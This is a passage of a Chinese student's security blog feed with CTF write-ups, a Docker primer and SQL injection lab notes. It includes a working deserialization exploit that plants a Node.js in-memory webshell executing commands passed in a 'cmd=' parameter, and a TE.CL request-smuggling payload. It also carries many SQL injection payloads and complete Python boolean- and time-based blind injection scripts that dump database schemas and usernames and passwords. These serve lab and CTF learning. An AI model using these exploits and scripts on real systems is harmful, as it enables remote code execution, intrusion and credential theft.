    boundary = "----WebKitFormBoundaryCVE202555182"  
      
    # ================= 第五步：注入内存 Webshell =================# 真正的内存马：兼容 Function 作用域，挂载底层 http 拦截器  
    memory_webshell_js = "try{var rq=typeof process!=='undefined'&&process.mainModule?process.mainModule.require:require;var h=rq('http');var cp=rq('child_process');if(!h.Server.prototype.__hk){var o=h.Server.prototype.emit;h.Server.prototype.emit=function(e,req,res){if(e==='request'&&req.url.indexOf('cmd=')!==-1){try{var c=decodeURIComponent(req.url.split('cmd=')[1].split('&')[0]);res.writeHead(200);res.end(cp.execSync(c).toString());}catch(err){res.writeHead(500);res.end(err.message);}return;}return o.apply(this,arguments);};h.Server.prototype.__hk=true;}}catch(ex){}//"  
      
    chunk_0 = f'{{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{{\\"then\\":\\"$B1337\\"}}","_response":{{"_prefix":"{memory_webshell_js}","_formData":{{"get":"$1:constructor:constructor"}}}}}}'  
      
    raw_body = (  
        f"--{boundary}\r\n"  
        f'Content-Disposition: form-data; name="0"\r\n\r\n'  
        f'{chunk_0}\r\n'  
        f"--{boundary}\r\n"  
        f'Content-Disposition: form-data; name="1"\r\n\r\n'  
        f'"$@0"\r\n'  
        f"--{boundary}--\r\n"  
    )  
      
    print("[*] 第五步：正在利用真实 React2Shell PoC 注入内存马...")  
    try:  
        # 依然使用纯文本伪装，防 PHP 吃掉 multipart    requests.post(  
            exploit_proxy_url,  
            headers={"Content-Type": "text/plain"},  
            data=raw_body.encode('utf-8')  
        )  
        print("[+] 注入指令已发送！")  
    except Exception as e:  
        print("[-] 网络请求异常:", e)  
      
    # 给 Node.js 一点时间处理反序列化并挂载钩子  
    time.sleep(2)  
      
    # ================= 第六步：读取 Flag =================print("\n[*] 第六步：利用被动内存马读取 Flag...")  
      
    # 对路径和命令进行双重 URL 编码，确保安全穿透 PHP 代理到达内网  
    cmd = urllib.parse.quote("cat /flag")  
    path = urllib.parse.quote(f"/?cmd={cmd}")  
      
    target_url = f"{normal_proxy_url}?path={path}"  
      
    try:  
        res = requests.get(target_url)  
        print("\n================ 🏆 FLAG ================")  
        if res.status_code == 200 and "flag{" in res.text:  
            print(res.text.strip())  
        elif "flag{" in res.text:  
            print(res.text.strip())  
        else:  
            print("未直接看到 Flag，返回内容：\n", res.text[:500])  
        print("==========================================")  
    except Exception as e:  
        print("[-] 获取 Flag 失败:", e)

    得到flag flag{T4RGeT-IN-FAk3_tARG3t_xIXl6d1b2d2d1}
    这个漏洞后面可以进行研究一下
    11. 文文新闻
    第二周里面应该打出来的题 自己没有死磕 刚学的东西不拿出去用
    TE.CL

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    POST /api/login HTTP/1.1
    Host: forward.vidar.club:31300
    Content-Type: application/x-www-form-urlencoded
    Transfer-Encoding: chunked

    a1
    POST /api/comment HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Authorization: 3dc1f3d7-61bf-4acc-a045-586c81f6245b
    Content-Length: 350

    content=
    0


    前端全部发送过去后 后端要接受350个长度的字符 这时候bot来访问 然后就带上信息了 得到

    ]]>     http://47.109.24.42/2026/03/01/Hgamectf/ 2026-03-01T13:00:00.000Z
  • web 魔法书
    根据提示 抓包改阅读时间 得到弹窗
  • 密码 Classic
    最后一行密文
    VUHHX{Tti Julxmzooz sm zhq Rlc azh ane Apk}
    然后明文VIDAR]]>
    • Hgamectf 2026-03-01T13:00:00.000Z     xiexie Docker是什么

    在没有Docker之前 如果你要在电脑上跑一个别人写的 CTF Web 题目 要在自己电脑上装一堆符合的环境 Docker 就是一个极其轻量级的“虚拟机”替代方案 两个最核心的概念
    镜像 (Image) 它是一个只读的文件，里面打包好了操作系统基础、运行环境（比如 PHP）和题目代码
    容器 (Container) 容器是一个隔离的沙箱，题目就在这个沙箱里运行

    基础操作

    1. 镜像

    • docker images

      • 作用：查看本地所有镜像（看看你的武器库里都有啥）。

    • docker search <关键词>

      • 场景：你想找个现成的靶场，比如输入 docker search sqli-labs，可以直接在终端搜找别人做好的镜像。

    • docker pull <镜像名:标签>

      • 作用：把云端的镜像拉到本地。如果不写标签（冒号后面的部分），默认拉取 latest（最新版）。

      • 示例：docker pull ubuntu:20.04

    • docker rmi <镜像ID或名字>

      • 作用：删除镜像（Remove Image）。

      • 避坑：如果报错说镜像正在被使用，说明有基于它的容器（即使是停止状态的）存在。必须先删容器，再删镜像。

    1. 容器

    • docker ps

      • 作用：查看正在运行的容器。这能帮你快速找到当前开了哪些端口。

    • docker ps -a

      • 作用：查看所有容器（包括报错闪退的、已经停止的）。排错时非常有用。

    • docker stop <容器名/ID> / docker start <容器名/ID>

      • 作用：优雅地停止/启动容器。

    • docker rm <容器名/ID>

      • 作用：删除容器。如果容器还在跑，可以加 -f (force) 强制删除：docker rm -f my_ctf_web。

    • docker logs -f <容器名/ID>

      • 场景：Web 服务报错误了用这个命令实时追踪容器的后台输出日志，-f 表示持续跟踪不退出

    • docker exec -it <容器名/ID> /bin/bash

      • 作用：钻进运行中的容器里，获得一个交互式 Shell 进行调试
    1. 参数
    参数英文全称说明实用场景/示例
    -dDetach后台运行跑 Web 靶场必加，避免终端被卡住无法执行其他命令
    -pPublish端口映射，格式：-p 宿主机端口:容器端口示例：-p 8080:80（将宿主机8080端口映射到容器80端口）
    –nameName为容器自定义命名示例：–name xiexie（避免系统生成随机难记的容器名）
    -eEnv设置容器内的环境变量示例：-e FLAG=flag{xiexie}
    -vVolume目录挂载，格式：-v /本地代码目录:/容器内部目录宿主机改代码容器内实时生效，无需反复重启容器
    –rmRemove阅后即焚，容器停止后自动销毁适合一次性测试，不残留容器文件、不占用磁盘空间
    4. 核心命令大全
    命令功能示例
    docker run启动一个新的容器并运行命令docker run -d ubuntu
    docker ps列出当前正在运行的容器docker ps
    docker ps -a列出所有容器（包括已停止的容器）docker ps -a
    docker build使用Dockerfile构建镜像docker build -t my-image .
    docker images列出本地存储的所有镜像docker images
    docker pull从 Docker 仓库拉取镜像docker pull ubuntu
    docker push将镜像推送到 Docker 仓库docker push my-image
    docker exec在运行的容器中执行命令docker exec -it 23dfd567926a bash
    docker stop停止一个或多个容器docker stop container_name
    docker start启动已经停止的容器docker start container_name
    docker restart重启一个容器docker restart container_name
    docker rm删除一个或多个容器docker rm container_name
    docker rmi删除一个或多个镜像docker rmi my-image
    docker logs查看容器的日志docker logs container_name
    docker inspect获取容器或镜像的详细信息docker inspect container_name
    docker exec -it进入容器的交互式终端docker exec -it container_name /bin/bash
    docker network ls列出所有 Docker 网络docker network ls
    docker volume ls列出所有 Docker 卷docker volume ls
    docker-compose up启动多容器应用（从 docker-compose.yml 文件）docker-compose up
    docker-compose down停止并删除由 docker-compose 启动的容器、网络等docker-compose down
    docker info显示 Docker 系统的详细信息docker info
    docker version显示 Docker 客户端和守护进程的版本信息docker version
    docker stats显示容器的实时资源使用情况docker stats
    docker login登录 Docker 仓库docker login
    docker logout登出 Docker 仓库docker logout

    如何让科学上网生效 / 配置镜像源

    1. 配置科学上网 这里略 走魔法代理即可
    2. 配置国内镜像源 这里在Docker Engine里面修改一下 换成国内镜像源 这里因为买服务器给了一个比较稳定的源 （打脸了 这个其实也不太稳定 最后还是走代理了）

    Dockerfile

    1. Dockerfile 是一个文本文件，包含了一系列用于构建 Docker 镜像的指令 Docker 引擎通过读取这些指令来自动化构建镜像
    2. Dockerfile常用指令
    指令说明
    FROM设置构建镜像时使用的基础镜像
    MAINTAINER镜像的创建者
    RUN构建镜像时用于执行后面跟着的命令行命令（在 docker build 时执行）
    CMD类似于 RUN 指令，启动容器时用于执行后面跟着的命令行命令（在 docker run 时执行）
    ENTRYPOINT启动容器时会将其后面的命令当作参数，结合CMD 指令的命令一起执行
    COPY构建镜像时复制文件或者目录到容器里指定路径
    ADD功能与COPY指令类似，不同点在执行 <源文件> 为 tar 压缩文件的话，压缩格式为 gzip, bzip2 以及 xz 的情况下，ADD 指令会自动复制并解压到 <目标路径>，在不解压的前提下，无法复制 tar 压缩文件（推荐使用 COPY指令）
    ENV设置环境变量，定义了环境变量，那么在后续的指令中，就可以使用这个环境变量
    ARG构建参数，与 ENV 作用一致。不过作用域不一样。ARG 设置的环境变量仅对 Dockerfile 内有效，也就是说只有 docker build 的过程中有效，构建好的镜像内不存在此环境变量
    VOLUME定义匿名数据卷。在启动容器时忘记挂载数据卷，会自动挂载到匿名卷
    EXPOSE声明端口
    WORKDIR指定工作目录。用 WORKDIR 指定的工作目录，会在构建镜像的每一层中都存在。（WORKDIR 指定的工作目录，必须是提前创建好的）
    USER用于指定执行后续命令的用户和用户组，这边只是切换后续命令执行的用户（用户和用户组必须提前已经存在）
    LABEL用来给镜像添加一些元数据（metadata），以键值对的形式
    ONBUILD用于延迟构建命令的执行。简单的说，就是 Dockerfile 里用 ONBUILD 指定的命令，在本次构建镜像的过程中不会执行（假设镜像为 test-build）。当有新的 Dockerfile 使用了之前构建的镜像 FROM test-build ，这是执行新镜像的 Dockerfile 构建时候，会执行 test-build 的 Dockerfile 里的 ONBUILD 指定的命令
    下面是自己编写的一个最简单的php后门题的Dockerfile
    1
    2
    3
    4
    5
    FROM php:7.4-apache
    WORKDIR /var/www/html/
    COPY . .
    RUN echo "flag{you_are_a_docker_master}" > /flag
    EXPOSE 80

    .dockerignore

    当我们在 Dockerfile 中执行 COPY . /var/www/html/ 时，会把宿主机当前文件夹里的所有文件都塞进容器的 Web 目录 但我如果把自己的exp或者是什么源码之类的一起放上去 选手能直接访问到
    .dockerignore作用就在这里 在 Dockerfile 同级目录下创建 .dockerignore 文件 在里面编写好需要忽略的文件 例如

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    # .dockerignore 示例（注释用 # 开头） 
    # 忽略 node_modules 目录（整目录） 
    node_modules/ 
    # 忽略 logs 目录 
    logs/ 
    # 忽略 .git 版本控制目录 
    .git/ 
    # 忽略单个文件 
    .env 
    temp.txt 
    # 忽略所有 .log 后缀的文件 
    *.log 
    # 忽略所有以 temp 开头的文件/目录 
    temp* 
    # 例外：如果想忽略所有 .txt 但保留 important.txt 
    *.txt 
    !important.txt

    这里还可以用到匹配 但是出题貌似用的少 现在能力还做不了那么复杂的题

    docker-compose.yaml

    Dockerfile只可以用来构建单个镜像，在docker-compose.yml文件中，可以定义多个服务，每个服务可以包含一系列配置选项，例如镜像名称、容器端口、环境变量等。
    比如在一道题目里面 有前端 后端 加上一个服务之类的 需要手动配置它们相互通信的虚拟网络 还需要run好多次 如果配置文件写好之后 只需要 docker compose up -d 即可全部部署好
    例如一个最简单的

    builid构建镜像
    ports去映射
    假设有服务的那种 就比如是sql 文件结构如下

    1
    2
    3
    4
    5
    6
    ├── docker-compose.yaml
    ├── web/
    │   ├── Dockerfile
    │   └── index.php
    └── db/
        └── init.sql

    文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    services:
      # 服务 1：前端 Web
      frontend:
        # 注意！这里的 context 不是 . 了，而是 ./web，因为 Dockerfile 在 web 文件夹里
        build: 
          context: ./web
          dockerfile: Dockerfile
        container_name: sqli_web
        ports:
          - "8080:80"
        # 【重点】：依赖关系。保证数据库先启动，Web 后启动，防止连接失败
        depends_on:
          - backend_db

      # 服务 2：后端 MySQL
      backend_db:
        # 数据库不需要我们自己写 Dockerfile 现场 build，直接用官方做好的镜像！
        image: mysql:5.7
        container_name: sqli_db
        # 环境变量：官方 MySQL 镜像允许我们通过环境变量直接设置密码和库名
        environment:
          MYSQL_ROOT_PASSWORD: "toor"
          MYSQL_DATABASE: "ctf_db"
        # 端口映射：这里不写 ports
        因为只有 frontend 容器需要连它。我们在宿主机上不需要连它。
        # Compose 默认会让 frontend 和 backend_db 在同一个局域网内，前端只需连接 "backend_db:3306" 即可。

    记第一次自己出题

    出的题和寒假学习到的一个知识点相关 结合了sqlite的ATTTACH跨库查询 堆叠注入
    目录如下

    1
    2
    3
    4
    5
    6
    sqlite/
    ├── Dockerfile
    ├── docker-compose.yaml
    └── src/
        ├── index.php    
        └── update.php
    1. 对dockerfile的要求 run一个sqlite 创目录 然后run两个数据库 一个是正常业务 一个是flag 对正常业务有读写 对flag数据库设权为444 还有就是Web 目录和 Flag 目录不可写 防止直接加上马RCE了
    2. 对前端 这里比较重要的是ai优化了非预期解 输出都经过 htmlspecialchars() 净化
    3. 对后端核心漏洞也就是直接拼接字符串 但是需要此库无任何有价值数据 需要跨库查询

      自己打打啦 具体文件就不放了
    ]]>     http://47.109.24.42/2026/02/27/docker/ 2026-02-27T13:00:00.000Z Docker是什么

    在没有Docker之前 如果你要在电脑上跑一个别人写的 CTF Web 题目 要在自]]>

    docker 2026-02-27T13:00:00.000Z     xiexie 搭完了个人博客 做ivory学长下发的任务 重新做sql靶场 加上补充知识点 sql是最开始学的 刚开始学的时候就只是问ai 基本语法都不是很了解就在写 这里相当于重新开始吧

    基础语法

    也就是最基础的技巧吧

    • order by ORDER BY测列数是SQL 注入中最基础的技巧

    1. 核心原理
      ORDER BY的语法支持两种排序方式：
    • 按列名 / 别名排序（如ORDER BY username）；
    • 按结果集的列索引排序（如ORDER BY 1表示按结果集第 1 列排序，ORDER BY 2按第 2 列，以此类推）。
    • 如果n ≤ 结果集的列数：语句执行正常（无报错）；
    • 如果n > 结果集的列数：数据库会抛出 “未知列” 类错误（如 MySQL：Unknown column '3' in 'order clause'）
    1. 核心用途 为后续UNION SELECT注入铺路：UNION要求前后两个查询的列数完全一致、数据类型兼容，必须先确定原查询的列数，才能构造有效的UNION语句（如原查询列数为 2，则构造UNION SELECT 1,2 --）。

    • 元数据查询：查库 / 表 / 列（核心中的核心）

    • 数据聚合/拼接

    GROUP_CONCAT() 多行字符串拼接为一行（默认逗号分隔）CONCAT() 多列字符串拼接为一行（单行内拼接）

    • 高频关键字

    UNION SELECT 联合查询（注入核心）
    LIMIT 限制结果行数（精准取数据）后面两个数字意味着从第几行取几列 如SELECT password FROM users LIMIT 0,1;（取第 1 行密码）
    COUNT() 统计行数（判断表中数据量）SELECT COUNT(*) FROM users;（查用户表总记录数）

    （后面的布尔盲注 时间盲注 还有报错 绕过那些会在做题后面记录）

    wp

    1. 我这里打的ctf+上面的靶场 没有重新去配环境了 现成的 ‘闭合 测出三列 然后-1让他不查询 或者是在后面加个错误条件 and 1=2 union select之类的
    1
    id=-1' union select 1,2,database()--+

    得到库名（当前会话正在使用的）
    这样子把库名查完吧（所有数据库）

    1
    union select group_concat(schema_name)from information_schema.schemata--+

    继续查表名

    1
    union  select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'--+

    列名

    1
    2
    union  select 1,2,group_concat(column_name) from 
    information_schema.columns where table_name='users'--+

    数据

    1
    union select 1,(select group_concat(username) from users ),(select group_concat(password) from users)--+
    1. 无闭合 直接注入
    2. ‘)闭合
    3. “)闭合
    4. 布尔盲注 也就是依靠回显来判断输入的语句正确与否 就用acsii码来判断出字符 这里测出来是‘闭合 然后确定语句 开始写脚本
      用遍历来做 把最开始做task的那个脚本交给ai优化了

    先把报错注入的知识点写了 因为最开始打这里没有写脚本 是拿报错注入来做的 这里先写了

    • 报错注入

    • 构造恶意 SQL 语句，强制数据库执行时触发语法 / 逻辑错误，且错误信息中会 “夹带” 攻击者需要的敏感数据（库名、表名、数据等）；利用数据库开启 “错误回显” 的特性（页面显示原生错误提示），直接从错误信息中提取敏感数据，无需像盲注那样逐字符猜解。
    • 前提条件 数据库开启错误回显（这一点没有的话直接放弃）
    • 核心逻辑 数据库的报错信息有个特点：当执行非法操作时，错误提示会明确指出 “哪里非法”，并展示非法内容。
    • 最常用的报错方式 （最主流：）extractvalue()/updatexml()是 MySQL 处理 XML 的函数，要求第二个参数必须是合法的 XPath 语法（如/a/b）；若传入非法 XPath（如包含~/@等特殊字符），数据库会抛出 “XPATH syntax error” 错误，且错误信息中会显示非法的参数内容 —— 攻击者将敏感数据拼接进非法参数，就能从错误中提取信息。
    1
    updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
    • 0x7e：十六进制的~（XPath 不支持~，用于触发报错，同时分隔敏感数据和错误前缀）；
    • concat(0x7e, (select database()), 0x7e)：拼接~ + 数据库名 + ~（如~security~）；
    • updatexml接收非法 XPath 参数，触发报错：XPATH syntax error: '~security~'；
    • 页面显示该错误，攻击者直接拿到数据库名security。
      这里重新学报错注入的时候 重新学到了一个新的方式
      基于聚合函数冲突的报错（count+rand+group by）
      试在了第五关里面 真可以 研究一下原理 不依赖extractvalue/updatexml这两个函数
    1
    1' union select count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x--+

    rand() 函数：随机数生成（核心中的核心）
    基础用法：rand() 生成 01 之间的随机浮点数（如 0.123、0.987）；
    带种子用法：rand(0)（种子固定为 0）—— 生成的随机数序列是固定的、可重复的（而非真正随机）。
    例：select rand(0), rand(0)*2 from dual; 每次执行结果都是 0.15522042769493574、0.3104408553898715；
    floor(rand(0)*2)：floor() 是向下取整，rand(0)*2 生成 0    2 之间的浮点数，取整后只能是 0 或 1（这是触发重复的关键）。
    group by + count() 的执行逻辑
    当执行 select count(    ), 字段A from 表 group by 字段A 时，MySQL 会做以下操作：
    创建一张临时表，用于存储「字段 A 的值 → 计数」的映射（临时表的主键是 字段A，主键唯一）；
    逐行读取原表的数据，计算 字段A 的值；
    检查临时表中是否已有该 字段A 的值：
    有 → 计数 + 1；
    无 → 插入新行，计数设为 1；
    最终返回临时表的统计结果。
    rand() 在 group by 中的 “多次执行” 特性
    MySQL 对 group by 中的 rand() 有个特殊处理：在临时表中检查 / 插入时，会两次计算 rand() 的值（一次用于检查主键是否存在，一次用于插入新行）。如果 rand() 是固定种子（如 rand(0)），两次计算的结果可能不一致，这是触发冲突的核心
    Duplicate entry 错误
    MySQL 临时表的主键是唯一的，若尝试插入重复的主键值，会触发 Duplicate entry 'xxx' for key 'group_key' 错误，且错误信息中会明确显示 “重复的主键值 xxx”—— 这就是敏感数据的泄露入口。

    1
    id=1' union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x--+

    看到库

    1
    id=1' union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x--+

    看到表

    1
    2
    id=1' union select 1,count(*),concat(0x7e,(select column_name from 
    information_schema.columns where table_name='users' limit 1,1),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x--+

    看到列

    1
    id=1' union select 1,count(*),concat(0x7e,(select concat(username,':',password) from `users` limit 2,1),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x--+

    最后是数据
    用上面的updatexml路径报错再做一遍

    1
    id=1' and updatexml(1,concat(0x7e,(select  schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
    1
    id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

    库

    1
    id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+

    表

    1
    id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1)--+

    列

    1
    id=1' and updatexml(1,concat(0x7e,(select concat(username,':',password) from `users` limit 0,1),0x7e),1)--+

    数据
    extractvalue()使用方法类似 上面有写
    只不过是 EXTRACTVALUE(xml_doc, xpath_expr)查 XML 里的某个内容 UPDATEXML(xml_doc, xpath_expr, new_value) 改 XML 里的某个内容

    • 布尔盲注

    1. 继续接上前面第五关的内容 贴上改过后的脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    import requests  
    flag="You are in..........."  
    a_url="http://80-d3ec6b44-9a8a-45e9-b74a-f92c243b95af.challenge.ctfplus.cn/Less-5/?id="  
      
      
    def is_true(payload):  
        try:  
            # 加超时，避免卡住；关闭重定向，防止干扰  
            resp = requests.get(f"{a_url}{payload}", timeout=5, allow_redirects=False)  
            return flag in resp.text  
        except Exception as e:  
            # 打印异常，方便调试  
            print(f"请求出错: {e}")  
            return False  
      
    # 获取目标字符串的长度（如数据库名长度、表名长度）  
    def get_length(name):  
        # 循环变量名改为len_num，避免和函数名重名  
        for len_num in range(1, 100):  
            payload = f"1' and length(({name}))={len_num}--+"  
            if is_true(payload):  
                print(f"[{name}] 长度: {len_num}")  
                return len_num  
        return 0  
      
    # 逐字符爆破目标字符串（核心盲注逻辑）  
    def get_string(name, len_num):  
        result = ""  
        print(f"开始爆破 [{name}]...")  
        for i in range(1, len_num + 1):  
            # ASCII范围32-126（可打印字符）  
            for asc in range(32, 127):  
                payload = f"1' and ascii(substr(({name}),{i},1))={asc}--+"  
                if is_true(payload):  
                    result += chr(asc)  
                    # 实时打印进度，方便调试  
                    print(f"\r当前进度: {result}", end="")  
                    break  
        print()  # 换行  
        return result  
      
    # 主程序入口（必须加，否则函数定义和执行代码会混在一起）  
    if __name__ == "__main__":  
        # ========== 1. 爆破数据库名 ==========    db_len = get_length("database()")  
        if db_len == 0:  
            print("数据库名长度爆破失败！")  
            exit()  
        db_name = get_string("database()", db_len)  
        print(f"✅ 数据库名: {db_name}")  
      
        # ========== 2. 爆破当前库的所有表名 ==========    tables_sql = f"select group_concat(table_name) from information_schema.tables where table_schema='{db_name}'"  
        tables_len = get_length(tables_sql)  
        if tables_len == 0:  
            print("表名长度爆破失败！")  
            exit()  
        tables = get_string(tables_sql, tables_len)  
        print(f"✅ 所有表名: {tables}")  
        # 提取目标表（优先users，无则取第一个表）  
        table_list = tables.split(',')  # 拆分表名字符串为列表  
        target_table = "users" if "users" in table_list else table_list[0]  
        print(f"🔍 选定目标表: {target_table}")  
      
        # ========== 3. 爆破目标表的所有列名 ==========    cols_sql = f"select group_concat(column_name) from information_schema.columns where table_schema='{db_name}' and table_name='{target_table}'"  
        cols_len = get_length(cols_sql)  
        if cols_len == 0:  
            print("列名长度爆破失败！")  
            exit()  
        cols = get_string(cols_sql, cols_len)  
        print(f"✅ 目标表列名: {cols}")  
        # 提取目标列（优先username/password，无则取前两列）  
        col_list = cols.split(',')  
        target_cols = [c for c in ["username", "password"] if c in col_list]  
        if not target_cols:  # 无则取前两列  
            target_cols = col_list[:2]  
        print(f"🔍 选定目标列: {target_cols}")  
      
        # ========== 4. 爆破目标列的数据 ==========    for col in target_cols:  
            data_sql = f"select group_concat({col}) from {target_table}"  
            data_len = get_length(data_sql)  
            if data_len == 0:  
                print(f"{col} 数据长度爆破失败！")  
                continue  
            data = get_string(data_sql, data_len)  
            print(f"✅ {col} 数据: {data}")
    1. “闭合 改脚本
    2. “)) 闭合
    3. ‘闭合

    • 时间盲注

    等于没有回显了 不管怎么样 都是相同的界面 当时还是没太懂 其实也就是对与不对来造成不同的访问界面 从而慢慢拼接出字符 两个核心函数配合
    SLEEP(n)：让 SQL 执行卡n秒（比如SLEEP(5)就是卡 5 秒）；
    IF(条件, 执行1, 执行2)：条件成立则执行 1，否则执行 2。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    import requests
    import time  # 新增：用于计算响应耗时
    a_url = "http://80-d3ec6b44-9a8a-45e9-b74a-f92c243b95af.challenge.ctfplus.cn/Less-9/?id="

    # 核心：判断条件是否成立（时间盲注靠响应耗时）
    # 条件成立 → 执行SLEEP(3) → 响应耗时>3秒；条件不成立 → 立刻返回
    def is_true(payload):
        try:
            start_time = time.time()  # 记录请求开始时间
            # 超时设为5秒（大于SLEEP的3秒，避免提前超时）
            resp = requests.get(f"{a_url}{payload}", timeout=5, allow_redirects=False)
            end_time = time.time()
            cost_time = end_time - start_time  # 计算耗时
            # 耗时超过3秒 → 条件成立
            return cost_time > 3
        except requests.exceptions.Timeout:
            # 超时也说明条件成立（SLEEP导致超时）
            return True
        except Exception as e:
            print(f"请求出错: {e}")
            return False

    # 获取目标字符串长度（时间盲注版）
    def get_length(name):
        for len_num in range(1, 100):
            # 核心修改：IF(长度等于len_num, SLEEP(3), 0)
            payload = f"1' and IF(length(({name}))={len_num}, SLEEP(3), 0)--+"
            if is_true(payload):
                print(f"[{name}] 长度: {len_num}")
                return len_num
        return 0

    # 逐字符爆破目标字符串（时间盲注版）
    def get_string(name, len_num):
        result = ""
        print(f"开始爆破 [{name}]...")
        for i in range(1, len_num + 1):
            # ASCII范围32-126（可打印字符）
            for asc in range(32, 127):
                # 核心修改：IF(字符的ASCII等于asc, SLEEP(3), 0)
                payload = f"1' and IF(ascii(substr(({name}),{i},1))={asc}, SLEEP(3), 0)--+"
                if is_true(payload):
                    result += chr(asc)
                    # 实时打印进度
                    print(f"\r当前进度: {result}", end="")
                    break
        print()  # 换行
        return result

    # 主程序入口
    if __name__ == "__main__":
        # ========== 1. 爆破数据库名 ==========
        db_len = get_length("database()")
        if db_len == 0:
            print("数据库名长度爆破失败！")
            exit()
        db_name = get_string("database()", db_len)
        print(f"✅ 数据库名: {db_name}")

        # ========== 2. 爆破当前库的所有表名 ==========
        tables_sql = f"select group_concat(table_name) from information_schema.tables where table_schema='{db_name}'"
        tables_len = get_length(tables_sql)
        if tables_len == 0:
            print("表名长度爆破失败！")
            exit()
        tables = get_string(tables_sql, tables_len)
        print(f"✅ 所有表名: {tables}")
        # 提取目标表（优先users，无则取第一个表）
        table_list = tables.split(',')
        target_table = "users" if "users" in table_list else table_list[0]
        print(f"🔍 选定目标表: {target_table}")

        # ========== 3. 爆破目标表的所有列名 ==========
        cols_sql = f"select group_concat(column_name) from information_schema.columns where table_schema='{db_name}' and table_name='{target_table}'"
        cols_len = get_length(cols_sql)
        if cols_len == 0:
            print("列名长度爆破失败！")
            exit()
        cols = get_string(cols_sql, cols_len)
        print(f"✅ 目标表列名: {cols}")
        # 提取目标列（优先username/password，无则取前两列）
        col_list = cols.split(',')
        target_cols = [c for c in ["username", "password"] if c in col_list]
        if not target_cols:
            target_cols = col_list[:2]
        print(f"🔍 选定目标列: {target_cols}")

        # ========== 4. 爆破目标列的数据 ==========
        for col in target_cols:
            data_sql = f"select group_concat({col}) from {target_table}"
            data_len = get_length(data_sql)
            if data_len == 0:
                print(f"{col} 数据长度爆破失败！")
                continue
            data = get_string(data_sql, data_len)
            print(f"✅ {col} 数据: {data}")
    1. “闭合
    2. ‘正常注入 应该是 类似于select * from users where username=’’ and password=’’这样子的验证 把后面注释了 所以密码随便输入
    3. “)闭合
    4. 没有回显了 可以考虑时间盲注 我报错做的 ‘)闭合
    5. “闭合
    6. 报错也没法了 那就时间盲注 抓包看到发的是post请求
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    import requests
    import time  # 用于计算响应耗时

    # 基础URL（去掉原GET的?id=，因为POST参数在表单里）
    a_url = "http://80-ce1a9e65-c341-47bd-b72c-c43dc97f3113.challenge.ctfplus.cn/Less-15/"

    # 核心：判断条件是否成立（时间盲注靠响应耗时）
    # 条件成立 → 执行SLEEP(3) → 响应耗时>3秒；条件不成立 → 立刻返回
    def is_true(payload):
        try:
            # 构造POST表单数据：uname=注入payload，submit=Submit（必填）
            post_data = {
                "uname": payload,
                "passwd": "1",# 原id参数改为uname
                "submit": "Submit"  # 必须携带的submit参数
            }
            start_time = time.time()  # 记录请求开始时间
            # 发送POST请求，超时设为5秒（大于SLEEP的3秒）
            resp = requests.post(
                a_url,
                data=post_data,  # 传递表单参数
                timeout=5,
                allow_redirects=False
            )
            end_time = time.time()
            cost_time = end_time - start_time  # 计算耗时
            # 耗时超过3秒 → 条件成立
            return cost_time > 3
        except requests.exceptions.Timeout:
            # 超时也说明条件成立（SLEEP导致超时）
            return True
        except Exception as e:
            print(f"请求出错: {e}")
            return False

    # 获取目标字符串长度（时间盲注版，payload构造逻辑不变）
    def get_length(name):
        for len_num in range(1, 100):
            # payload仍为注入语句，最终传给uname字段
            payload = f"1' and IF(length(({name}))={len_num}, SLEEP(3), 0)--+"
            if is_true(payload):
                print(f"[{name}] 长度: {len_num}")
                return len_num
        return 0

    # 逐字符爆破目标字符串（时间盲注版，payload构造逻辑不变）
    def get_string(name, len_num):
        result = ""
        print(f"开始爆破 [{name}]...")
        for i in range(1, len_num + 1):
            # ASCII范围32-126（可打印字符）
